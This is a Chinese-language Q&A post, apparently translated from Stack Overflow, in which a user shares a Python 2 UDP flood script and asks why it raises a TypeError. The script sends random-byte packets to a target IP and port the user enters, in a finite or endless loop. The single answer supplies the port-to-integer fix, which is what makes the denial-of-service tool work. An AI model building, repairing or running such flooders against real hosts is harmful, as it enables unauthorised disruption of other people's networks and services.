尝试在套接字中发送随机数据包时获取TypeError

时间:2016-08-22 22:10:08

标签: python python-2.7

我试图制作一个简单的UDP flooder来学习一些关于套接字的东西,但是我得到了#34; TypeError:需要一个整数"

import os
import socket
import random

s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

print("Python Script 1")
os.system("pause")
print("[*] Please enter parameters below")
ip = raw_input("Enter IP adress: ")
port = raw_input("Enter port: ")
size = int(raw_input("Enter Packet size: "))
amount = int(raw_input("Enter amount of packets (0 for infinite): "))
bytes = random._urandom(size)
print("[*] UDP Flooding started on " + ip + ":" + port)

while amount > 1:
    s.sendto(bytes,(ip,port))
    print("[*] Sent %s packets to %s : %s.") % (sent,ip,port)
    sent = sent + 1
    amount = amount - 1

while amount == 0:
    s.sendto(bytes,(ip,port))
    print("[*] Sent %s packets to %s : %s.") % (sent,ip,port)
    sent = sent + 1

我在s.sendto上遇到错误(字节,(ip,端口)),我试过在谷歌上四处寻找但却找不到任何东西。谢谢!

1 个答案:

答案 0 :(得分:1)

port必须是int,而不是str

port = int(port)